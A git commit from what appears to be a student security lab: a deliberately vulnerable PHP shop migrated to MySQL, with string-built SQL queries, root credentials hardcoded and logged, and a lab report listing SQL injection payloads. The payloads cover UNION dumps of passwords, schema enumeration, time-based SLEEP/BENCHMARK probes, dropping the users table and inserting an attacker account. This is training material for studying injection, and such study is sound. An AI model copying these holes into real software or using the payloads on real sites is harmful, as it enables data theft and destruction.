feat: add even more vulnerabilities! migrate to mysql

This commit is contained in:
2025-06-05 21:25:40 +03:00
parent 11b7696c19
commit 5bea4d52cb
10 changed files with 236 additions and 53 deletions

13
404.php Normal file
View File

@ -0,0 +1,13 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Not found</title>
<link rel="stylesheet" href="index.css">
</head>
<body>
<?php include 'header.php'; ?>
<h1>404 - Not found!</h1>
</body>
</html>

View File

@ -2,7 +2,11 @@
include_once 'utils.php'; include_once 'utils.php';
$RESULT_MODE = SQLITE3_BOTH; $RESULT_MODE = PDO::FETCH_BOTH;
$host = '127.0.0.1';
$db_user = 'root';
$db_password = 'mysql';
session_start(); session_start();
@ -28,6 +32,8 @@ function connectToRedis()
function initializeNewUser() function initializeNewUser()
{ {
global $host, $db_user, $db_password;
$redis = connectToRedis(); $redis = connectToRedis();
if (!$redis) { if (!$redis) {
return false; return false;
@ -40,25 +46,35 @@ function initializeNewUser()
'status' => 'active' 'status' => 'active'
])); ]));
$db_file = "db/$user_id.db"; /* $db_file = "db/$user_id.db"; */
$db = new SQLite3($db_file); $connStr = "mysql:host=$host;port=3306;charset=UTF8";
try {
$db = new PDO($connStr, $db_user, $db_password);
$schema_sql = file_get_contents('db/schema.sql'); $db->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;");
if (!$schema_sql) { $db->exec("USE `$user_id`;");
error_log("Failed to read schema file: $schema_path"); error_log("new db was created successfully! $user_id", 0);
return false;
$schema_sql = file_get_contents('db/schema.sql');
if (!$schema_sql) {
error_log("Failed to read schema file: $schema_path");
return false;
}
$db->exec($schema_sql);
}
catch(PDOException $e) {
error_log($e, 0);
throw new Exception($e->getMessage());
} }
$db->exec($schema_sql);
if (!$db) { if (!$db) {
// Cleanup Redis entry if db creation fails // Cleanup Redis entry if db creation fails
$redis->hDel('users', $user_id); $redis->hDel('users', $user_id);
return false; return false;
} }
$db->close();
return ["user_id" => $user_id, "db_file" => "db/$user_id.db"]; return ["user_id" => $user_id];
} }
function initializeApp($existing_user_id = null) function initializeApp($existing_user_id = null)
@ -72,13 +88,27 @@ function initializeApp($existing_user_id = null)
function getDB($user_id = null) function getDB($user_id = null)
{ {
if (!is_null($user_id)) { global $host, $db_user, $db_password;
$db_file = "db/$user_id.db";
if (!file_exists($db_file)) { if (is_null($user_id)) {
return createUserDatabase($user_id); error_log('user id is null', 0);
} return null;
return new SQLite3($db_file);
} }
error_log("Global vars - host: $host, user: $db_user, password: $db_password", 0);
try {
$connStr = "mysql:host=$host;port=3306;charset=UTF8";
$pdo = new PDO($connStr, $db_user, $db_password);
} catch(PDOException $e) {
error_log($e, 0);
throw new Exception($e->getMessage());
}
/* $pdo->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;"); */
$pdo->exec("USE `$user_id`;");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
return $pdo;
} }
function registerUser($username, $email, $password) function registerUser($username, $email, $password)
@ -86,7 +116,12 @@ function registerUser($username, $email, $password)
$db = getDB($_COOKIE['user_id']); $db = getDB($_COOKIE['user_id']);
$query = "INSERT INTO users(username, email, password) values ('$username', '$email', '$password');"; $query = "INSERT INTO users(username, email, password) values ('$username', '$email', '$password');";
return $db->exec($query); $res = $db->exec($query);
if ($res === false) {
$errorInfo = $db->errorInfo();
throw new Exception("MySQL Error: $errorInfo[2]. (Code: $errorInfo[1])");
}
return $res;
} }
function loginUser($email, $password) function loginUser($email, $password)
@ -94,8 +129,8 @@ function loginUser($email, $password)
global $RESULT_MODE; global $RESULT_MODE;
$db = getDB($_COOKIE['user_id']); $db = getDB($_COOKIE['user_id']);
$query = "SELECT username, password FROM users WHERE email = '$email';"; $query = "SELECT username, password FROM users WHERE email = '$email';";
$result = $db->query($query)->fetchArray($RESULT_MODE); $result = $db->query($query)->fetch($RESULT_MODE);
if ($result["password"] === $password) { if ($result && $result["password"] === $password) {
return $result['username']; return $result['username'];
} else { } else {
return null; return null;
@ -107,9 +142,10 @@ function getUserById($id)
global $RESULT_MODE; global $RESULT_MODE;
$db = getDB($_COOKIE['user_id']); $db = getDB($_COOKIE['user_id']);
$query = "SELECT username, email FROM users WHERE id = $id"; $query = "SELECT username, email FROM users WHERE id = $id";
try { try {
$result = $db->query($query); $result = $db->query($query);
return $result->fetchArray($RESULT_MODE); return $result->fetch($RESULT_MODE);
} catch (Exception $e) { } catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n"; $_SESSION['error_message'] = $e->getMessage()."\n";
} }
@ -121,6 +157,7 @@ function createProduct($title, $amountInStock)
$query = "INSERT INTO products(title, amount_in_stock) values ('$title', $amountInStock)"; $query = "INSERT INTO products(title, amount_in_stock) values ('$title', $amountInStock)";
try { try {
error_log($query, 0);
return $db->exec($query); return $db->exec($query);
} catch (Exception $e) { } catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n"; $_SESSION['error_message'] = $e->getMessage()."\n";
@ -138,14 +175,15 @@ function getProductsByTitle($title)
try { try {
$result = $db->query($query); $result = $db->query($query);
if ($result === false) { if ($result === false) {
error_log("{$db->lastErrorCode()}", 0); $errorInfo = $db->errorInfo();
throw new Exception($db->lastErrorMsg()); throw new Exception($errorInfo[2]);
} }
$products = []; $products = [];
while ($row = $result->fetchArray($RESULT_MODE)) { while ($row = $result->fetch($RESULT_MODE)) {
$products[] = $row; $products[] = $row;
} }
$_SESSION['error_message'] = null;
return $products; return $products;
} catch (Exception $e) { } catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n"; $_SESSION['error_message'] = $e->getMessage()."\n";
@ -162,9 +200,10 @@ function getAllProducts()
try { try {
$result = $db->query($query); $result = $db->query($query);
$products = []; $products = [];
while ($row = $result->fetchArray($RESULT_MODE)) { while ($row = $result->fetch($RESULT_MODE)) {
$products[] = $row; $products[] = $row;
} }
return $products; return $products;
} catch (Exception $e) { } catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n"; $_SESSION['error_message'] = $e->getMessage()."\n";
@ -192,7 +231,10 @@ function getOrdersForUser($userId)
try { try {
$result = $db->query($query); $result = $db->query($query);
return $result->fetchArray($RESULT_MODE); if ($result) {
return $result->fetch($RESULT_MODE);
}
return null;
} catch (Exception $e) { } catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n"; $_SESSION['error_message'] = $e->getMessage()."\n";
} }
@ -207,7 +249,32 @@ function getOrdersForProduct($productId)
try { try {
$result = $db->query($query); $result = $db->query($query);
return $result->fetchArray($RESULT_MODE); if ($result) {
return $result->fetch($RESULT_MODE);
}
return null;
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
}
}
function getAllUsers()
{
global $RESULT_MODE;
$db = getDB($_COOKIE['user_id']);
$query = "SELECT id, username, email FROM users";
try {
$result = $db->query($query);
if (!$result) {
return null;
}
$users = [];
while ($row = $result->fetch($RESULT_MODE)) {
$users[] = $row;
}
return $users;
} catch (Exception $e) { } catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n"; $_SESSION['error_message'] = $e->getMessage()."\n";
} }

19
doc.yaml Normal file
View File

@ -0,0 +1,19 @@
# title: Робота з AWS Storage. Simple storage (s3)
subject: ТЗІ
doctype: ПЗ
# worknumber: 1
mentors:
- name: Кальницька А. Ю.
degree: Асистент кафедри СТ
gender: f
edu_program: &EDU КНТ
university: ХНУРЕ
authors:
- name: Орлов О. С.
# full_name_gen: Косач Лариси Петрівни
course: 3
edu: *EDU
gender: m
group: 22-1
semester: 6
# variant:

View File

@ -5,15 +5,13 @@ $request = $_SERVER['REQUEST_URI'];
$path = parse_url($request, PHP_URL_PATH); $path = parse_url($request, PHP_URL_PATH);
if (isset($_COOKIE["user_id"])) { if (isset($_COOKIE["user_id"])) {
error_log('cookie is set', 0); /* error_log('cookie is set', 0); */
} else { } else {
error_log('cookie is NOT set', 0); /* error_log('cookie is NOT set', 0); */
$ids = initializeApp(null); $ids = initializeApp(null);
setcookie("user_id", $ids["user_id"], time() + 3600, "/"); setcookie("user_id", $ids["user_id"], time() + 3600, "/");
setcookie("db_file", $ids["db_file"], time() + 3600, "/");
$_COOKIE["user_id"] = $ids["user_id"]; $_COOKIE["user_id"] = $ids["user_id"];
$_COOKIE["db_file"] = $ids["db_file"];
} }
/* TODO: remove for prod code */ /* TODO: remove for prod code */
@ -26,24 +24,15 @@ if ($extension === 'css') {
} }
/* TODO: remove for prod code */ /* TODO: remove for prod code */
switch($path) { $page = match($path) {
case '': case '/': case '/products': '', '/', '/products' => '/products.php',
require __DIR__.'/products.php'; '/login' => '/login.php',
break; '/register' => '/register.php',
case '/login': '/logout' => '/logout.php',
require __DIR__.'/login.php'; '/orders' => '/orders.php',
break; '/users' => '/users.php',
case '/register': default => '/404.php',
require __DIR__.'/register.php'; };
break;
case '/logout': require __DIR__.$page;
require __DIR__.'/logout.php';
break;
case '/orders':
require __DIR__.'/orders.php';
break;
case '/users':
require __DIR__.'/users.php';
break;
}
?> ?>

BIN
lab.pdf Normal file

Binary file not shown.

70
lab.typ Normal file
View File

@ -0,0 +1,70 @@
#import "@local/nure:0.1.0": *
#show: pz-lb.with(..yaml("doc.yaml"), title: [SQL-ІН'ЄКЦІЇ], worknumber: 2)
#v(-spacing)
== Мета роботи
Ознайомитися з вразливостями типу "ін’єкції", зокрема SQL-ін'єкції.
== Хід роботи
#v(-spacing)
vulnerability.linerds.us/products
IN PRODUCT SEARCH
`' OR 1=1 --`
`' UNION select password, password, email from users;`
`' or id=2; -- select item with Nth(2nd) id`
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
#figure(image("waiting_50s.png"), caption: [Результат SQL ін'єкції на основі часу]) // TODO: caption
IN ADD PRODUCT
`3); drop table users; `
`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- `
`'1'); DO SLEEP(5); #`
// === Підготовка
// #lorem(150)
// === Виконання дослідження
// #lorem(300)
// === Підрахунок результатів
// #lorem(250)
== Висновки
// == Контрольні запитання
// #lorem(100):
// - #lorem(20);
// - #lorem(30);
// - #lorem(15);
// - #lorem(25);
// - #lorem(42);
// - #lorem(27).
#show: appendices_style
// = Quote
// #link("https://youtu.be/bJQj1uKtnus")[
// The art isn't the art, the art is never the art,
// the art is the thing that happens inside you when you make it and the feeling in the heart of the beholder.
// ]
// = Приклад звіту 1
// #v(-spacing)
// == Частина 1
// #lorem(100)
// == Частина2
// #lorem(200)
//
// = Приклад звіту 2
// #lorem(200)
//
// = Приклад звіту 3
// #lorem(200)

View File

@ -8,13 +8,17 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") {
$email = $_POST["email"]; $email = $_POST["email"];
$password = $_POST["password"]; $password = $_POST["password"];
$result = registerUser($username, $email, $password); try {
$result = registerUser($username, $email, $password);
} catch(Exception $e) {
error_log($e, 0);
$_SESSION['error_message'] = $e->getMessage();
}
if ($result) { if ($result) {
$_SESSION['error_message'] = null; $_SESSION['error_message'] = null;
$_SESSION['username'] = $username; $_SESSION['username'] = $username;
$_SESSION['email'] = $email; $_SESSION['email'] = $email;
} else {
$_SESSION['error_message'] = "User with this username already exists!";
} }
header("Location: /products"); header("Location: /products");
} }

View File

@ -1,3 +1,10 @@
<?php
include_once 'database.php';
if (!isset($users)) {
$users = getAllUsers();
}
?>
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
@ -8,6 +15,20 @@
</head> </head>
<body> <body>
<?php include 'header.php'; ?> <?php include 'header.php'; ?>
<h1>Users - Work in progress!</h1> <h1>Users - Work in progress!</h1>
<h2>Users:</h2>
<?php if (empty($users)): ?>
<p>No users found.</p>
<?php else: ?>
<?php foreach ($users as $user): ?>
<div class="product">
<h3><?= $user[1] ?></h3>
<p>Id: <?= $user[0] ?></p>
<p>Email: <strong><?php echo $user[2]; ?></strong></p>
</div>
<?php endforeach; ?>
<?php endif; ?>
</body> </body>
</html> </html>

BIN
waiting_15s.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

BIN
waiting_50s.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB